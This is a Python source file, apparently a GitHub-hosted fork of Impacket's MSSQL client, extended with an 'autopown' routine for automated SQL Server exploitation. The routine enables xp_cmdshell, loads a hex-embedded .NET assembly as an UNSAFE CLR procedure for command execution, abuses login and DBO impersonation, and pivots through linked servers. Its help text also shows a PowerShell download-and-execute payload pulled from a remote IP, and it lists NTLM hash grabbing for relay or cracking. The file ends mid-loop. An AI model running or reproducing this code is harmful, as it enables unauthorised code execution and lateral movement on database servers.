-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathyolo-mssqlclient.py
486 lines (432 loc) · 42.1 KB
/
yolo-mssqlclient.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-TDS] & [MC-SQLR] example.
#
# Author:
# Alberto Solino (beto@coresecurity.com/@agsolino)
#
# Reference for:
# Structure
#
from __future__ import division
from __future__ import print_function
import argparse
import sys
import os
import logging
from impacket.examples import logger
from impacket import version, tds
if __name__ == '__main__':
import cmd
class SQLSHELL(cmd.Cmd):
def __init__(self, SQL):
cmd.Cmd.__init__(self)
self.sql = SQL
self.prompt = 'SQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
autopown {cmd} - executes AMA autopown, default cmd=whoami [use double quote for cmd eg: powershell -c iex((new-object system.net.webclient).downloadstring("http://192.168.49.192/1")) ]
grab_netntlm {ip} - run responder and do grab_netntlm for relay or crack attack
""")
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
try:
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
except:
pass
##########################################
###### AMA MODIFICATION STARTS HERE ######
##########################################
#grab single value from list
def parse_result1(self, value):
if value:
res = []
if isinstance(value, list) and len(value) > 1:
for item in value:
try:
[value.remove(val) for val in value if val['output'] == 'NULL'] #forced to do it twice to remove last NULL value
if item['output'] == 'NULL':
value.remove(item)
except:
pass
for data in value:
res.append(list(data.values())[0])
elif isinstance(value, list) and len(value) == 1:
#if list(value[0].values())[0] != 'NULL':
res.append(list(value[0].values())[0])
else:
#if list(value.values()) != 'NULL':
res.append(list(value.values())[0])
else:
res = None
return res
#grab key/pair value from dict
def parse_result2(self, value):
if value:
res = {}
if isinstance(value, list) and len(value) > 1:
for data in value:
res[list(data.values())[0]] = list(data.values())[1]
elif isinstance(value, list) and len(value) == 1:
res[list(data.values())[0]] = list(data.values())[1]
else:
res[list(data.values())[0]] = list(data.values())[1]
else:
res = None
return res
def do_autopown(self, cmd):
sa = False
dbo = False
if not cmd:
cmd='whoami'
if '"' in cmd:
cmd = cmd.replace('"','\\"')
print("\033[1;33m\nDatabase information:\033[0;0m")
res = self.sql.sql_query("SELECT SYSTEM_USER;")
data = self.parse_result1(res)
print("Running as: ", *data)
if data[0] == 'sa':
sa = True
res = self.sql.sql_query("SELECT USER_NAME();")
data = self.parse_result1(res)
print("Mapped as user: ", *data)
if data[0] == 'dbo':
dbo = True
res = self.sql.sql_query("SELECT IS_SRVROLEMEMBER('public');")
data = self.parse_result1(res)
if data[0] == 1:
print("User is a member of public role")
else:
print("User is NOT a member of public role")
res = self.sql.sql_query("select name from sys.databases;")
dbs = self.parse_result1(res)
print("Databases found: ", *dbs)
res = self.sql.sql_query("select name, is_trustworthy_on from sys.databases;")
tmp = self.parse_result2(res)
trust_dbs = [k for k,v in tmp.items() if int(v) == 1]
print("Trustworthy Databases found: ", *trust_dbs)
print("\033[1;33m\nCmdExec with current role?:\033[0;0m")
if sa:
print("\033[1;32m[+] Running as SA! trying cmdexec:\033[0;0m")
self.sql.sql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;")
res = self.sql.sql_query("EXEC xp_cmdshell '"+cmd+"';")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print("Null response, check result by yourself")
elif data:
print("\033[1;32m[+] SUCCES! XP_CMDSHELL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] XP_CMDSHELL failed with error:\033[0;0m")
self.sql.printReplies()
elif dbo:
print("\033[1;32mRunning as DBO! trying cmdexec:\033[0;0m")
self.sql.sql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;")
res = self.sql.sql_query("EXEC xp_cmdshell '"+cmd+"';")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print("Null response, check result by yourself")
elif data:
print("\033[1;32m[+] SUCCES! XP_CMDSHELL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] Failed with xp_cmdshell with error:\033[0;0m")
self.sql.printReplies()
print("\0331;31mAttempting DLL Stored procedure..\033[0;0m")
self.sql.sql_query("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;")
self.sql.sql_query("CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005045000064860200F465EFAA0000000000000000F00022200B023000000C000000040000000000000000000000200000000000800100000000200000000200000400000000000000040000000000000000600000000200000000000003004085000040000000000000400000000000000000100000000000002000000000000000000000100000000000000000000000000000000000000000400000A8030000000000000000000000000000000000000000000000000000FC290000380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E74657874000000C50A000000200000000C000000020000000000000000000000000000200000602E72737263000000A80300000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050014210000E8080000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300600B500000001000011731000000A0A066F1100000A72010000706F1200000A066F1100000A7239000070028C12000001281300000A6F1400000A066F1100000A166F1500000A066F1100000A176F1600000A066F1700000A26178D17000001251672490000701F0C20A00F00006A731800000AA2731900000A0B281A00000A076F1B00000A0716066F1C00000A6F1D00000A6F1E00000A6F1F00000A281A00000A076F2000000A281A00000A6F2100000A066F2200000A066F2300000A2A1E02282400000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000B8020000237E0000240300000C04000023537472696E67730000000030070000580000002355530088070000100000002347554944000000980700005001000023426C6F620000000000000002000001471502000900000000FA013300160000010000001C000000020000000200000001000000240000000F0000000100000001000000030000000000640201000000000006008E012B030600FB012B030600AC00F9020F004B0300000600D4008F02060071018F02060052018F020600E2018F020600AE018F020600C7018F02060001018F020600C0000C0306009E000C03060035018F0206001C012D0206009D0388020A00EB00D8020A0047025A030E008003F9020A006200D8020E00AF02F90206005D0288020A002000D8020A008E0014000A00EF03D8020A008600D8020600C0020A000600CD020A000000000001000000000001000100010010006F03000041000100010048200000000096003500620001000921000000008618F302060002000000010056000900F30201001100F30206001900F3020A002900F30210003100F30210003900F30210004100F30210004900F30210005100F30210005900F30210006100F30215006900F30210007100F30210007900F30210008900F30206009900F30206009900A1022100A90070001000B10096032600A90088031000A90019021500A900D40315009900BB032C00B900F3023000A100F3023800C9007D003F00D100B00344009900C1034A00E1003D004F00810051024F00A1005A025300D100FA034400D100470006009900A40306009900980006008100F302060020007B004B012E000B0068002E00130071002E001B0090002E00230099002E002B00AE002E003300AE002E003B00AE002E00430099002E004B00B4002E005300AE002E005B00AE002E006300CC002E006B00F6002E00730003011A000480000001000000000000000000000000007802000004000000000000000000000059002C0000000000040000000000000000000000590014000000000004000000000000000000000059008802000000000000003C4D6F64756C653E0053797374656D2E494F0053797374656D2E446174610053716C4D65746144617461006D73636F726C696200636D64457865630052656164546F456E640053656E64526573756C7473456E640065786563436F6D6D616E640053716C446174615265636F7264007365745F46696C654E616D65006765745F506970650053716C506970650053716C44625479706500436C6F736500477569644174747269627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275746500417373656D626C795469746C654174747269627574650053716C50726F63656475726541747472696275746500417373656D626C7954726164656D61726B417474726962757465005461726765744672616D65776F726B41747472696275746500417373656D626C7946696C6556657273696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E41747472696275746500436F6D70696C6174696F6E52656C61786174696F6E7341747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C457865637574650053797374656D2E52756E74696D652E56657273696F6E696E670053716C537472696E6700546F537472696E6700536574537472696E670053514C5F436D64457865635F646C6C2E646C6C0053514C5F436D64457865635F646C6C0053797374656D0053797374656D2E5265666C656374696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D5265616465720054657874526561646572004D6963726F736F66742E53716C5365727665722E536572766572002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E496E7465726F7053657276696365730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053797374656D2E446174612E53716C54797065730053746F72656450726F636564757265730050726F63657373007365745F417267756D656E747300466F726D6174004F626A6563740057616974466F72457869740053656E64526573756C74735374617274006765745F5374616E646172644F7574707574007365745F52656469726563745374616E646172644F75747075740053716C436F6E746578740053656E64526573756C7473526F7700000000003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000FCBF2339D96B5B43A4C9A421C5A5B62600042001010803200001052001011111042001010E0420010102060702124D125104200012550500020E0E1C03200002072003010E11610A062001011D125D0400001269052001011251042000126D0320000E05200201080E08B77A5C561934E0890500010111490801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000001401000F53514C5F436D64457865635F646C6C000005010000000017010012436F7079726967687420C2A920203230323100002901002435363435383736342D633232372D346666632D613039392D63363631633632383934303000000C010007312E302E302E3000004701001A2E4E45544672616D65776F726B2C56657273696F6E3D76342E300100540E144672616D65776F726B446973706C61794E616D65102E4E4554204672616D65776F726B2034040100000000000000ED8C3F89000000000200000091000000342A0000340C00000000000000000000000000001000000000000000000000000000000052534453AC6E5F429FE9E34F8BE492E03305E4B001000000433A5C55736572735C414D415C4465736B746F705C50656E746573745C564D5F5368617265645C4F5345505C6578657263697365735C31352D2053514C207365727665725C53514C5F436D64457865635F646C6C5C6F626A5C7836345C52656C656173655C53514C5F436D64457865635F646C6C2E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C03000000000000000000004C0334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC020000010053007400720069006E006700460069006C00650049006E0066006F0000008802000001003000300030003000300034006200300000001A000100010043006F006D006D0065006E007400730000000000000022000100010043006F006D00700061006E0079004E0061006D0065000000000000000000480010000100460069006C0065004400650073006300720069007000740069006F006E0000000000530051004C005F0043006D00640045007800650063005F0064006C006C000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E003000000048001400010049006E007400650072006E0061006C004E0061006D0065000000530051004C005F0043006D00640045007800650063005F0064006C006C002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003200310000002A00010001004C006500670061006C00540072006100640065006D00610072006B00730000000000000000005000140001004F0072006900670069006E0061006C00460069006C0065006E0061006D0065000000530051004C005F0043006D00640045007800650063005F0064006C006C002E0064006C006C000000400010000100500072006F0064007500630074004E0061006D00650000000000530051004C005F0043006D00640045007800650063005F0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;")
self.sql.sql_query("CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];")
res = self.sql.sql_query("EXEC cmdExec '"+cmd+"';")
data = self.parse_result1(res)
if data:
print("\033[1;32m[+] SUCCES! DLL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] Failed with DLL Stored procedure with error:\033[0;0m")
self.sql.printReplies()
self.sql.sql_query("DROP ASSEMBLY myAssembly; DROP PROCEDURE [dbo].[cmdExec];")
else:
self.sql.sql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;")
res = self.sql.sql_query("EXEC xp_cmdshell '"+ cmd +"';")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print("Null response, check result by yourself")
elif data:
print("\033[1;32m[+] SUCCES! XP_CMDSHELL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] Nope, error:\033[0;0m")
self.sql.printReplies()
print("\033[1;33m\nImpersonation:\033[0;0m")
res = self.sql.sql_query("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';")
imper = self.parse_result1(res)
if not imper:
print("\033[1;31m[-] NO SQL user can be impersonated\033[0;0m")
else:
print("\033[1;32m[+] SQL user that can be impersonated: ", *imper, "\033[0;0m")
print("Attempting impersonation..")
for u in imper:
self.sql.sql_query("EXECUTE AS LOGIN ='"+u+"';")
res = self.sql.sql_query("SELECT SYSTEM_USER;")
data = self.parse_result1(res)
if data[0] == u:
print("\033[1;32m[+] SUCCES impersonation of ", u , "\033[0;0m")
print("\nAttempting impersonate DBO into trustworthy databases..")
for db in trust_dbs:
self.sql.sql_query("use " + db + " ; EXECUTE AS USER = 'dbo';")
res = self.sql.sql_query("SELECT USER_NAME();")
data = self.parse_result1(res)
if data[0] == 'dbo':
print("\033[1;32m[+] SUCCESS! Can impersonate DBO into database: ", db, "\033[0;0m")
print("\nAttempting cmdexec using xp_cmdshell..")
self.sql.sql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;")
res = self.sql.sql_query("EXEC xp_cmdshell '"+ cmd +"';")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print("Null response, check result by yourself")
elif data:
print("\033[1;32m[+] SUCCES! XP_CMDSHELL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] Failed with xp_cmdshell with error:\033[0;0m")
self.sql.printReplies()
print("\0331;31mAttempting DLL Stored procedure..\033[0;0m")
self.sql.sql_query("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;")
self.sql.sql_query("CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005045000064860200F465EFAA0000000000000000F00022200B023000000C000000040000000000000000000000200000000000800100000000200000000200000400000000000000040000000000000000600000000200000000000003004085000040000000000000400000000000000000100000000000002000000000000000000000100000000000000000000000000000000000000000400000A8030000000000000000000000000000000000000000000000000000FC290000380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E74657874000000C50A000000200000000C000000020000000000000000000000000000200000602E72737263000000A80300000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050014210000E8080000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300600B500000001000011731000000A0A066F1100000A72010000706F1200000A066F1100000A7239000070028C12000001281300000A6F1400000A066F1100000A166F1500000A066F1100000A176F1600000A066F1700000A26178D17000001251672490000701F0C20A00F00006A731800000AA2731900000A0B281A00000A076F1B00000A0716066F1C00000A6F1D00000A6F1E00000A6F1F00000A281A00000A076F2000000A281A00000A6F2100000A066F2200000A066F2300000A2A1E02282400000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000B8020000237E0000240300000C04000023537472696E67730000000030070000580000002355530088070000100000002347554944000000980700005001000023426C6F620000000000000002000001471502000900000000FA013300160000010000001C000000020000000200000001000000240000000F0000000100000001000000030000000000640201000000000006008E012B030600FB012B030600AC00F9020F004B0300000600D4008F02060071018F02060052018F020600E2018F020600AE018F020600C7018F02060001018F020600C0000C0306009E000C03060035018F0206001C012D0206009D0388020A00EB00D8020A0047025A030E008003F9020A006200D8020E00AF02F90206005D0288020A002000D8020A008E0014000A00EF03D8020A008600D8020600C0020A000600CD020A000000000001000000000001000100010010006F03000041000100010048200000000096003500620001000921000000008618F302060002000000010056000900F30201001100F30206001900F3020A002900F30210003100F30210003900F30210004100F30210004900F30210005100F30210005900F30210006100F30215006900F30210007100F30210007900F30210008900F30206009900F30206009900A1022100A90070001000B10096032600A90088031000A90019021500A900D40315009900BB032C00B900F3023000A100F3023800C9007D003F00D100B00344009900C1034A00E1003D004F00810051024F00A1005A025300D100FA034400D100470006009900A40306009900980006008100F302060020007B004B012E000B0068002E00130071002E001B0090002E00230099002E002B00AE002E003300AE002E003B00AE002E00430099002E004B00B4002E005300AE002E005B00AE002E006300CC002E006B00F6002E00730003011A000480000001000000000000000000000000007802000004000000000000000000000059002C0000000000040000000000000000000000590014000000000004000000000000000000000059008802000000000000003C4D6F64756C653E0053797374656D2E494F0053797374656D2E446174610053716C4D65746144617461006D73636F726C696200636D64457865630052656164546F456E640053656E64526573756C7473456E640065786563436F6D6D616E640053716C446174615265636F7264007365745F46696C654E616D65006765745F506970650053716C506970650053716C44625479706500436C6F736500477569644174747269627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275746500417373656D626C795469746C654174747269627574650053716C50726F63656475726541747472696275746500417373656D626C7954726164656D61726B417474726962757465005461726765744672616D65776F726B41747472696275746500417373656D626C7946696C6556657273696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E41747472696275746500436F6D70696C6174696F6E52656C61786174696F6E7341747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C457865637574650053797374656D2E52756E74696D652E56657273696F6E696E670053716C537472696E6700546F537472696E6700536574537472696E670053514C5F436D64457865635F646C6C2E646C6C0053514C5F436D64457865635F646C6C0053797374656D0053797374656D2E5265666C656374696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D5265616465720054657874526561646572004D6963726F736F66742E53716C5365727665722E536572766572002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E496E7465726F7053657276696365730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053797374656D2E446174612E53716C54797065730053746F72656450726F636564757265730050726F63657373007365745F417267756D656E747300466F726D6174004F626A6563740057616974466F72457869740053656E64526573756C74735374617274006765745F5374616E646172644F7574707574007365745F52656469726563745374616E646172644F75747075740053716C436F6E746578740053656E64526573756C7473526F7700000000003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000FCBF2339D96B5B43A4C9A421C5A5B62600042001010803200001052001011111042001010E0420010102060702124D125104200012550500020E0E1C03200002072003010E11610A062001011D125D0400001269052001011251042000126D0320000E05200201080E08B77A5C561934E0890500010111490801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000001401000F53514C5F436D64457865635F646C6C000005010000000017010012436F7079726967687420C2A920203230323100002901002435363435383736342D633232372D346666632D613039392D63363631633632383934303000000C010007312E302E302E3000004701001A2E4E45544672616D65776F726B2C56657273696F6E3D76342E300100540E144672616D65776F726B446973706C61794E616D65102E4E4554204672616D65776F726B2034040100000000000000ED8C3F89000000000200000091000000342A0000340C00000000000000000000000000001000000000000000000000000000000052534453AC6E5F429FE9E34F8BE492E03305E4B001000000433A5C55736572735C414D415C4465736B746F705C50656E746573745C564D5F5368617265645C4F5345505C6578657263697365735C31352D2053514C207365727665725C53514C5F436D64457865635F646C6C5C6F626A5C7836345C52656C656173655C53514C5F436D64457865635F646C6C2E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C03000000000000000000004C0334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC020000010053007400720069006E006700460069006C00650049006E0066006F0000008802000001003000300030003000300034006200300000001A000100010043006F006D006D0065006E007400730000000000000022000100010043006F006D00700061006E0079004E0061006D0065000000000000000000480010000100460069006C0065004400650073006300720069007000740069006F006E0000000000530051004C005F0043006D00640045007800650063005F0064006C006C000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E003000000048001400010049006E007400650072006E0061006C004E0061006D0065000000530051004C005F0043006D00640045007800650063005F0064006C006C002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003200310000002A00010001004C006500670061006C00540072006100640065006D00610072006B00730000000000000000005000140001004F0072006900670069006E0061006C00460069006C0065006E0061006D0065000000530051004C005F0043006D00640045007800650063005F0064006C006C002E0064006C006C000000400010000100500072006F0064007500630074004E0061006D00650000000000530051004C005F0043006D00640045007800650063005F0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;")
self.sql.sql_query("CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];")
res = self.sql.sql_query("EXEC cmdExec '"+cmd+"';")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print("Null response, check result by yourself")
elif data:
print("\033[1;32m[+] SUCCES! DLL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] Failed with DLL Stored procedure with error:\033[0;0m")
self.sql.printReplies()
self.sql.sql_query("DROP ASSEMBLY myAssembly; DROP PROCEDURE [dbo].[cmdExec];")
else:
print("\033[1;31m[-] Failed impersonating DBO into database: ", db, "\033[0;0m")
print("\nAttempting xp_cmdshell using '"+u+"' account..")
self.sql.sql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;")
res = self.sql.sql_query("EXEC xp_cmdshell '"+cmd+"';")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print("Null response, check result by yourself")
elif data:
print("\033[1;32m[+] SUCCES! XP_CMDSHELL result:\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m[-] Failed with xp_cmdshell, but you can attempt with SP_OACreate method. (lazy to add it here) \033[0;0m")
else:
print("\033[1;31m[-] Failed impersonation of ", u , "\033[0;0m")
#Check linked servers
print("\033[1;33m\nLinked Servers:\033[0;0m")
res = self.sql.sql_query("EXEC sp_linkedservers;")
linked = self.parse_result1(res)
if linked:
[linked.remove(srv) for srv in linked if "\\" in srv] #remove localhost
for srv in linked:
#check privs
res = self.sql.sql_query("SELECT * FROM openquery(\"" + srv + "\", 'SELECT SYSTEM_USER');")
data = self.parse_result1(res)
if data:
if data[0] == 'sa':
print("\033[1;32m[+] Localhost --> ", srv, " (logged as SA)\033[0;0m")
else:
print("Localhost --> ", srv, " (logged as ", data[0], ")")
else:
print("Localhost --> ", srv, "(logging failed! maybe anonymous?)")
else:
print("\033[1;31m[-] No linked server found.\033[0;0m")
linked2 = []
if linked:
#check linked server on linked servers
print("\033[1;33m\nChecking linked on Remote linkedserver\033[0;0m")
for srv in linked:
res = self.sql.sql_query("EXEC ('sp_linkedservers') AT \"" + srv + "\";")
linked2 = self.parse_result1(res)
if linked2:
[linked2.remove(srv) for srv in linked2 if "\\" in srv] #remove localhost
#print("\033[1;32m[+] Remote linked found on ", srv, " --> ", *linked2,"\033[0;0m")
#print("Checking privileges on linked servers..")
for srv2 in linked2:
#check privs
res = self.sql.sql_query("select mylogin from openquery(\"" + srv + "\", 'select mylogin from openquery(\"" + srv2 + "\", ''select SYSTEM_USER as mylogin'')');")
data = self.parse_result1(res)
if data:
if data[0] == 'sa':
print("\033[1;32m[+] Localhost --> ", srv, " --> ", srv2, " (logged as SA)\033[0;0m")
else:
print("Localhost --> ", srv, " --> ", srv2, " (logged as ", data[0], ")")
if linked:
#try cmdexec, on all linked server (maybe not only SA can cmdexec)
print("\033[1;33m\nLinkedServers command exec:\033[0;0m")
for srv in linked:
self.sql.sql_query("EXEC ('sp_configure ''show advanced options'', 1;') AT \"" + srv + "\";")
self.sql.sql_query("EXEC ('reconfigure;') AT \"" + srv + "\";")
self.sql.sql_query("EXEC ('sp_configure ''xp_cmdshell'', 1;') AT \"" + srv + "\";")
self.sql.sql_query("EXEC ('reconfigure;') AT \"" + srv + "\";")
res = self.sql.sql_query("EXEC ('xp_cmdshell ''" + cmd + "'' ') AT \"" + srv + "\";")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print(srv, "--> Null response, check result by yourself")
elif data:
print("\033[1;32m\n[+] SUCCES ON: ",srv,"\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m\n[-] Failed on: ",srv,"\033[0;0m")
self.sql.printReplies()
if linked2:
for srv2 in linked2:
self.sql.sql_query("EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT \"" + srv2 + "\"') AT \""+srv+"\";")
self.sql.sql_query("EXEC ('EXEC (''reconfigure;'') AT \"" + srv2 + "\"') AT \"" + srv + "\";")
self.sql.sql_query("EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1;'') AT \"" + srv2 + "\"') AT \"" + srv + "\";")
self.sql.sql_query("EXEC ('EXEC (''reconfigure;'') AT \"" + srv2 + "\"') AT \"" + srv + "\";")
